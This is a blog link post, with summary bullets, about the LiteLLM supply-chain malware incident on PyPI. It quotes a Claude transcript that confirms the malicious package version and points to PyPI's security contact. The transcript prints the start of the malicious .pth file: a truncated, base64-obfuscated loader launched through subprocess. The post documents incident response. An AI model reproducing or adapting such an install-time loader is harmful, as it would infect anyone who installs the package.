My minute-by-minute response to the LiteLLM malware attack

Simon Willison's Blog / 3/27/2026

📰 NewsDeveloper Stack & InfrastructureSignals & Early TrendsTools & Practical Usage

Key Points

  • The post describes a rapid, minute-by-minute response to a reported LiteLLM malware attack, including how a PyPI vulnerability was confirmed using isolated Docker inspection.
  • The author highlights that the malicious LiteLLM package (litellm==1.82.8) was live on PyPI and would infect anyone installing or upgrading it.
  • Transcripts from Claude were used to validate findings and even suggest the PyPI security contact address after confirming the malicious code.
  • Callum McMahon’s workflow and the shared transcripts are presented as part of the effective incident response and reporting process to PyPI security.
  • The author notes satisfaction that Callum used the author’s “claude-code-transcripts” tool to publish the conversation record.
Sponsored by: WorkOS — Ready to sell to Enterprise clients? Build and ship securely with WorkOS.

26th March 2026 - Link Blog

My minute-by-minute response to the LiteLLM malware attack (via) Callum McMahon reported the LiteLLM malware attack to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:

Confirmed. Fresh download from PyPI right now in an isolated Docker container:

Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

The malicious litellm==1.82.8 is live on PyPI right now and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.

I was chuffed to see Callum use my claude-code-transcripts tool to publish the transcript of the conversation.

Posted 26th March 2026 at 11:58 pm

This is a link post by Simon Willison, posted on 26th March 2026.

pypi 46 security 585 ai 1934 generative-ai 1715 llms 1681 claude 264 supply-chain 14

Monthly briefing

Sponsor me for $10/month and get a curated email digest of the month's most important LLM developments.

Pay me to send you less!

Sponsor & subscribe
広告